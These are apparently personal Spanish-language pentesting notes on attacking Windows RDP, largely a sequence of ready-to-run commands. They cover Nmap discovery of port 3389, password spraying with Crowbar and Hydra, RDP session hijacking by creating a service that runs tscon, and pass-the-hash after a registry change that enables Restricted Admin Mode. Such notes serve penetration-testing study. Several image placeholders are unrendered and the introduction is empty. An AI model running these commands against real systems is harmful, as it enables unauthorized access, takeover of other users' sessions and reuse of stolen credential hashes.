RDP - Ataques y Técnicas

📖 Introducción


🔎 Descubrimiento del servicio

Escaneo con Nmap:

nmap -Pn -p3389 <IP>

Salida típica:
{0241C664-6F59-4B15-BB13-E140BB45E752}.png


❌ Configuraciones incorrectas

👉 Solución de atacantes → Password Spraying en lugar de brute force directo.


🔑 Fuerza bruta y Password Spraying

🐍 Crowbar

crowbar -b rdp -s <IP>/32 -U users.txt -c 'password123'

✅ Resultado exitoso:

RDP-SUCCESS : 192.168.220.142:3389 - administrator:password123

🐉 Hydra

hydra -L users.txt -p 'password123' <IP> rdp

⚠️ Recomendación: usar -t 1 o -t 4 para limitar hilos → RDP no soporta muchas conexiones simultáneas.


🖥️ Conexión a RDP

Con credenciales válidas:

rdesktop -u admin -p password123 <IP> xfreerdp /u:admin /p:password123 /v:<IP>

{266D6273-4CCE-4033-A020-4594240B2AC6}.png


🎭 Secuestro de sesión RDP

Si tenemos admin local y otro usuario (ej. Domain Admin) está logueado vía RDP en el mismo host, podemos secuestrar su sesión:

  1. Ver sesiones activas:
query user
  1. Crear servicio que ejecute tscon:
sc.exe create sessionhijack binpath= "cmd.exe /k tscon <SESSION_ID> /dest:rdp-tcp#<OUR_SESSION>"
net start sessionhijack

👉 Resultado → tomamos la sesión del otro usuario sin conocer su contraseña.

⚠️ Nota: este método ya no funciona en Server 2019.


🔄 RDP Pass-the-Hash (PtH)

Cuando solo tenemos hash NTLM (no contraseña en texto plano), podemos probar RDP si está habilitado el Restricted Admin Mode.
Pasted image 20250915184210.png

  1. Activar en el host víctima (si somos admin local):
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
  1. Conectarnos con xfreerdp:

xfreerdp /v:<IP> /u:usuario /pth:<NTHASH>

✅ Si funciona, tendremos acceso GUI como el usuario sin necesidad de su contraseña.